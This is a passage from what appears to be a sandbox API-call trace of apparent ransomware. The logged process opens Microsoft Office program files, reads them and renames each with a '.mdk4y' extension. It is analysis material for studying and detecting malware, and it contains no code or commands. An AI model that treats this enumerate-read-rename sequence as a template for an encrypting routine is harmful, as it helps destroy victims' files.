lpFindFileData=0x6b7d00) returned 1 [0222.799] AreFileApisANSI () returned 1 [0222.799] GetACP () returned 0x4e4 [0222.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GROOVE.EXEmanifest", lpUsedDefaultChar=0x37dfd8) returned 10 [0222.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0222.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829803000000) returned 1 [0222.800] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0222.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829808800000) returned 1 [0222.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829808800000) returned 1 [0222.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.mdk4y")) returned 1 [0222.882] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.882] AreFileApisANSI () returned 1 [0222.882] GetACP () returned 0x4e4 [0222.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVEEX.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GROOVEEX.DLLnifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0222.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0222.882] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.882] AreFileApisANSI () returned 1 [0222.882] GetACP () returned 0x4e4 [0222.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVEMN.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GROOVEMN.EXE", lpUsedDefaultChar=0x37dfd8) returned 12 [0222.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0222.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829811300000) returned 1 [0222.883] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0222.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829814900000) returned 1 [0222.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829814900000) returned 1 [0222.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe.mdk4y")) returned 1 [0222.936] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.936] AreFileApisANSI () returned 1 [0222.936] GetACP () returned 0x4e4 [0222.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HVAC.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="HVAC.DLL.EXE", lpUsedDefaultChar=0x37dfd8) returned 8 [0222.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0222.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829816800000) returned 1 [0222.938] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x91b68, lpOverlapped=0x0) returned 1 [0222.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829818500000) returned 1 [0222.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829818500000) returned 1 [0222.964] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll.mdk4y")) returned 1 [0222.967] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.967] AreFileApisANSI () returned 1 [0222.967] GetACP () returned 0x4e4 [0222.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IEAWSDC.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IEAWSDC.DLLE", lpUsedDefaultChar=0x37dfd8) returned 11 [0222.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0222.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829819800000) returned 1 [0222.968] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3b360, lpOverlapped=0x0) returned 1 [0222.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829820800000) returned 1 [0222.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829820800000) returned 1 [0222.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll.mdk4y")) returned 1 [0222.984] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.984] AreFileApisANSI () returned 1 [0222.984] GetACP () returned 0x4e4 [0222.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IEContentService.exe", cchWideChar=20, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IEContentService.exel", lpUsedDefaultChar=0x37dfd8) returned 20 [0222.984] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0222.984] AreFileApisANSI () returned 1 [0222.984] GetACP () returned 0x4e4 [0222.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMCOMMON.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMCOMMON.DLLvice.exe", lpUsedDefaultChar=0x37dfd8) returned 12 [0222.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0222.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829821500000) returned 1 [0222.985] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa6190, lpOverlapped=0x0) returned 1 [0222.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829822800000) returned 1 [0222.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829822800000) returned 1 [0223.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll.mdk4y")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.009] AreFileApisANSI () returned 1 [0223.009] GetACP () returned 0x4e4 [0223.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMDIMP.ADD", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMDIMP.ADDLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0223.009] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829824000000) returned 1 [0223.010] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x73c8, lpOverlapped=0x0) returned 1 [0223.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829824500000) returned 1 [0223.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829824500000) returned 1 [0223.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.mdk4y")) returned 1 [0223.019] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.019] AreFileApisANSI () returned 1 [0223.019] GetACP () returned 0x4e4 [0223.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMPMAIL.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMPMAIL.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0223.019] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829825000000) returned 1 [0223.020] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2d168, lpOverlapped=0x0) returned 1 [0223.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829831300000) returned 1 [0223.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829831300000) returned 1 [0223.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll.mdk4y")) returned 1 [0223.088] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.088] AreFileApisANSI () returned 1 [0223.088] GetACP () returned 0x4e4 [0223.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMUTIL.DLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0223.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829832000000) returned 1 [0223.090] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2f180, lpOverlapped=0x0) returned 1 [0223.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829836700000) returned 1 [0223.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829836700000) returned 1 [0223.140] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll.mdk4y")) returned 1 [0223.143] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.143] AreFileApisANSI () returned 1 [0223.143] GetACP () returned 0x4e4 [0223.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMWDD.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMWDD.DLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0223.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829837500000) returned 1 [0223.145] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x38388, lpOverlapped=0x0) returned 1 [0223.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829853700000) returned 1 [0223.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829853700000) returned 1 [0223.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll.mdk4y")) returned 1 [0223.312] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.312] AreFileApisANSI () returned 1 [0223.312] GetACP () returned 0x4e4 [0223.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMWIZ.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IMWIZ.DLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0223.312] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829854400000) returned 1 [0223.314] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3f90, lpOverlapped=0x0) returned 1 [0223.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829856800000) returned 1 [0223.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829856800000) returned 1 [0223.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll.mdk4y")) returned 1 [0223.342] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.342] AreFileApisANSI () returned 1 [0223.342] GetACP () returned 0x4e4 [0223.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="INFOPATH.EXE", lpUsedDefaultChar=0x37dfd8) returned 12 [0223.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829857400000) returned 1 [0223.344] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0223.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829859400000) returned 1 [0223.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829859400000) returned 1 [0223.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.mdk4y")) returned 1 [0223.374] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.374] AreFileApisANSI () returned 1 [0223.374] GetACP () returned 0x4e4 [0223.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathOM", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="InfoPathOMXE", lpUsedDefaultChar=0x37dfd8) returned 10 [0223.375] AreFileApisANSI () returned 1 [0223.375] GetACP () returned 0x4e4 [0223.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\祖i") returned 54 [0223.441] AreFileApisANSI () returned 1 [0223.465] GetACP () returned 0x4e4 [0223.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0223.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0223.465] AreFileApisANSI () returned 1 [0223.465] GetACP () returned 0x4e4 [0223.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0223.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0223.465] AreFileApisANSI () returned 1 [0223.465] GetACP () returned 0x4e4 [0223.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathOMFormServices", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="InfoPathOMFormServicesF", lpUsedDefaultChar=0x37df4c) returned 22 [0223.465] AreFileApisANSI () returned 1 [0223.465] GetACP () returned 0x4e4 [0223.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=77, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\k") returned 77 [0223.558] AreFileApisANSI () returned 1 [0223.558] GetACP () returned 0x4e4 [0223.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 1 [0223.558] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.558] AreFileApisANSI () returned 1 [0223.559] GetACP () returned 0x4e4 [0223.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 2 [0223.559] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0223.559] AreFileApisANSI () returned 1 [0223.559] GetACP () returned 0x4e4 [0223.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathOMFormServicesV12", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InfoPathOMFormServicesV12rUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 25 [0223.559] AreFileApisANSI () returned 1 [0223.559] GetACP () returned 0x4e4 [0223.559] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=103, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\瞈㲣瞈铪瞣덐j䊤h") returned 103 [0223.600] AreFileApisANSI () returned 1 [0223.600] GetACP () returned 0x4e4 [0223.600] WideCharToMultiByte (in: CodePage=0x4e4, 